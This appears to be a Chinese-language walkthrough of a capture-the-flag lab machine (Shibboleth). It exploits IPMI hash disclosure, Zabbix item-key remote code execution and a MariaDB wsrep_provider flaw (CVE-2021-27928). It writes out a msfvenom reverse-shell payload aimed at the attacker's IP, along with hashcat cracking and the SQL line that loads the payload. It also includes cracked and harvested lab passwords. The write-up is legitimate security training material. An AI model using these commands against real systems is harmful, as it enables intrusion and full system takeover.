信息收集
只做一个简单的扫描,发现只开放了web服务
fuzz了一下路径,并没有发现任何有价值的路径信息
我们将思路转换到子域名挖掘上,发现了三个子域,我们将它们逐一访问的时候发现都同时指向同一个登录页面
wfuzz -c -u "http://shibboleth.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.shibboleth.htb"
漏洞利用
我们对这个表单进行SQL注入漏洞的检测时,并没有发现存在注入,也没有发现对应的中间件漏洞,到这里我的思路断了。我在反思它是个靶场肯定是有漏洞点的,可能是我信息收集那块做得不够细致。因此我对靶场进行UDP端口的扫描,查看是否存在漏扫的地方。扫描时发现开放了623端口的asf-rmcp服务
在搜索引擎上搜索时,发现了对应的漏洞利用复现。漏洞利用的方式是使用MSF框架的对应模块进行漏洞的检测
设置好对应的参数后,发现IPMI的版本是2.0
那我们可以尝试使用下载哈希的模块,尝试能否将用户对应的hash值下载下来。我们发现对应的管理员的哈希值,我们可以将哈希值保存下来,使用hashcat进行密码破解,因为对应的加密方式是IPMI,因此我们可以筛选一下
对应的编号是7300,解密出来的密码是ilovepumkinpie1
。
hashcat -m 7300 hash /usr/share/wordlists/rockyou.txt
我们可以拿这个账号密码登录进zabbix的管理员页面
查阅对应的漏洞复现文章发现,在Configuration的hosts处,可以添加对应的脚本,实现RCE漏洞的执行
我们在key处添加我们要执行的RCE代码内容,点击添加并执行,期间我们开启对应的监听端口,可以反弹一个shell到本地终端上
提权
我们确实是获得了一个终端,但是并没有权限查看到user.txt的内容,我们得想办法提权到ipmi-svc这个账户的权限上
我们下意识可以尝试,使用Administrator账户的密码看看是否能成功。令人很意外的是,居然成功了
那下一步就是拿取root权限了,我上传了个linpeas.sh脚本到目标主机上进行检查,但是并没有发现任何有价值的信息。但是我们查看本地的端口时,发现开放了mysql服务
我们进入到zabbix的目录上,筛选信息发现了数据库的密码为bloooarskybluh
,用户名为zabbix
我们尝试登录到数据库上,数据库的版本为10.3.25
我尝试过搜寻数据库中对应账户的密码进行解密,但是都无功而返。切换一种思路,我搜寻到了mysql对应版本的漏洞信息。文章中说明了这个版本的mysql存在RCE漏洞
我在github上找到一个漏洞利用的脚本,这是链接https://github.com/Al1ex/CVE-2021-27928
根据提示来,我们先生成一个对应的payload,再开启监听反弹一个root的shell到本地上
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.30 LPORT=4445 -f elf-so -o payload.so
然后把payload文件上传到目标主机上
最后登录到mysql里,执行这么一段指令SET GLOBAL wsrep_provider="/tmp/payload.so";
,获得root权限
总结
这个靶机还是相当出色的,首先一般的扫描只能扫描到80的web服务,因为web服务最多就只能发掘到子域的登录表单上,之后就断思路了。所以还得扫描UDP的端口,这个就不是特别多人能够想得到,进行登录操作后,又得考验对zabbix的RCE漏洞利用,这个要求也比较高,然后再到root的提权上,很充分地考查了对中间件安全的知识,总体来说这是一个相当出色的靶机。